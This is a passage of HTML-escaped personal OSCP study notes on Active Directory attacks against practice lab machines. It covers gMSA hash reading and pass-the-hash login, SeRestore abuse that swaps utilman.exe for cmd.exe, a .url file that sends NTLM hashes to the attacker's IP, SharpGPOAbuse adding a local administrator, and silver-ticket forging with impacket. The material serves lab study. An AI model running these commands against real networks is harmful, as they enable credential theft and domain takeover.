class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. If a service account ends with $ and the note mentions gMSA, it is a managed service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Use GMSAPasswordReader to read the hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\gmsapasswordreader.exe --accountname svc_apache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\\gmsapasswordreader.exe --accountname svc_apache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Obtain the rc4_hmac hash for login&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeRestore privilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The method below also works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A simpler method that executes a shell directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeRestoreAbuse.exe C:\Windows\System32\utilman.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SeRestoreAbuse.exe &amp;#34;C:\Windows\System32\cmd.exe&amp;#34; &amp;#34;C:\Windows\System32\utilman.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For SMB phishing, listen with Responder when authentication begins to capture HTLM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/Greenwolf/ntlm_theft includes various methods&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[InternetShortcut]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;URL=Random_nonsense&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WorkingDirectory=Flibertygibbit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IconFile=\\&amp;lt;YOUR tun0 IP&amp;gt;\%USERNAME%.icon&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IconIndex=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GPO (Group Policy) privilege escalation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find Default Domain Policy information and its GUID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-GPO -Name &amp;#34;Default Domain Policy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-GPPermission -Guid &amp;lt;GUID&amp;gt; -TargetType User -TargetName &amp;lt;CURRENT_USER&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Permission types may include:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoApply: Apply policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoRead: Read policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoEdit: Edit policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# - GpoCustom: Custom permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SharpGPOAbuse.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddLocalAdmin # Add a local administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--UserAccount # Specify the user account to add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--GPOName # Specify the GPO to modify&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Other available arguments:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddComputerScript # Add a computer startup script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddUserScript # Add a user logon script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddUserTask # Add a scheduled task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--Command # Specify the command to execute&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Query permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The project URL is above; exploitation is below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName &amp;#34;Default Domain Policy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gpupdate /force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\SharpGPOAbuse.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--AddLocalAdmin # Action: add local-administrator privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--UserAccount anirudh # User to add: anirudh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--GPOName &amp;#34;Default Domain Policy&amp;#34; # GPO to modify: Default Domain Policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gpupdate # Update Group Policy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/force # Force an immediate update without waiting for the default refresh interval&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# An interesting use of a silver ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# MSSQL may run on the domain controller, and svc_mssql can authenticate directly with Kerberos as a service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A normal service account may be unable to enable xmdshell, so create a silver ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# MSSQL is already accessible and login succeeds&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-ticketer -nthash &amp;lt;HASH&amp;gt; -domain-sid &amp;lt;SID&amp;gt; -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-mssqlclient -k nagoya.nagoya-industries.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Native PowerShell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(Get-ADDomain).DomainSID.Value&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser -Filter {SamAccountName -eq &amp;#34;svc_mssql&amp;#34;} -Properties ServicePrincipalNames&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the ticket location&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=$PWD/Administrator.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This differs from the usual approach, where importing a ticket through KRB5CCNAME is sufficient&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Importing a silver ticket appears to also require the configuration file below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/krb5user.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[libdefaults]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; default_realm = NAGOYA-INDUSTRIES.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kdc_timesync = 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ccache_type = 4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; forwardable = true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; proxiable = true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rdns = false&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; dns_canonicalize_hostname = false&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fcc-mit-ticketflags = true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[realms]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; NAGOYA-INDUSTRIES.COM = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kdc = nagoya.nagoya-industries.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[domain_realm]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .nagoya-industries.com = NAGOYA-INDUSTRIES.COM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Connect to MSSQL, preferably with Impacket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;impacket-mssqlclient -k nagoya.nagoya-industries.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Kerberos configuration-file search order:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Location specified by the KRB5_CONFIG environment variable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/krb5.conf (default location)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/krb5user.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;~/.krb5user.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Only modify these sections:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;default_realm = YOUR.DOMAIN.COM # Domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[realms]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;YOUR.DOMAIN.COM = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; kdc = dc.your.domain.com # Domain controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[domain_realm]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.your.domain.com = YOUR.DOMAIN.COM # Domain mapping&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Other settings can remain unchanged:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kdc_timesync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ccache_type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;forwardable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;proxiable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rdns&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;These control Kerberos behavior and usually do not need modification.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If BloodHound shows GenericWrite over a user, that user&amp;#39;s SPN can be modified&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then obtain a 